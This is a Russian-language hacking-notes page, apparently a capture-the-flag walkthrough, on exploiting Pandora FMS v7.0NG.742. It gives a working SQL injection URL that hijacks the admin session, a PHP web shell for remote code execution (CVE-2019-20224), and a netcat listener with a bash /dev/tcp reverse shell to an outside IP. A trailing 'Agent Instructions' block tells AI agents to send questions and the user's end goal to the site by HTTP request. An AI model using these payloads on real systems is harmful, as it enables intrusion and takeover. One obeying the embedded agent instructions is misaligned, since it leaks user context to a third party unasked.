> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/pandora-cms-exploitation.md).

# Pandora

## Эксплуатация Pandora FMS — SQL-инъекция

### **SQL-инъекция — угон администраторской сессии**

Эта команда перенаправляет локальные HTTP-запросы на внутренний веб-сервер.

<figure><img src="/files/35a4face4c3304df2e0ee5ee2531f3da012aae75" alt=""><figcaption></figcaption></figure>

Обнаруженная версия: **v7.0NG.742/\_FIX/\_PERL2020**.

<figure><img src="/files/172b9adc2143708475faf3e34802518cb5f0b0f4" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated>" %}

Известная уязвимость в `chart_generator.php` через `session_id` переменную:

<figure><img src="/files/37fa1fdd342bbc02fd6928075535efcd7528b737" alt=""><figcaption></figcaption></figure>

```
http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=1'
```

<figure><img src="/files/de0b5658efd781e951f1b1c919b9f2d2ca95799b" alt=""><figcaption></figcaption></figure>

Выполните SQL-инъекцию, чтобы перехватить сеанс администратора:

<pre class="language-bash"><code class="lang-bash"><strong>http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=%27%20union%20SELECT%201,2,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20--%20SgGO
</strong></code></pre>

* Эта команда возвращает cookie сессии администратора.

<figure><img src="/files/4a4952de224cf52049834c5472a8ec349f9c8ef1" alt=""><figcaption></figcaption></figure>

Используйте cookie для доступа к панели управления как администратор.

<figure><img src="/files/f02f95b6ade5c31f588a9d02516f5847a09d628e" alt=""><figcaption></figcaption></figure>

### **Удалённое выполнение кода (RCE) - /\[CVE-2019-20224]**

Перейдите к **Файловый менеджер**.

<figure><img src="/files/8a27892a1372f270a62af56533724977f0c871b6" alt=""><figcaption></figcaption></figure>

Загрузите вредоносный PHP-файл:

<pre class="language-php"><code class="lang-php"><strong>&#x3C;?php system($_GET['cmd']); ?>
</strong></code></pre>

* Файл доступен по адресу `http://127.0.0.1/pandora_console/images/cmd.php`.

<figure><img src="/files/68edffcf5c0c22c6a43a5d3ff338110fdbd85308" alt=""><figcaption></figcaption></figure>

Выполните обратную оболочку:

* Запустите локальный прослушиватель:

```bash
nc -nvlp 443
```

* Выполнение команды на целевом сервере:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.26/443 0>%261"
```

Доступ получен как пользователь `matt`.

<figure><img src="/files/16fabac747c8ed5c93cf205f3bf9f3278c3b7ffc" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/cms/pandora-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
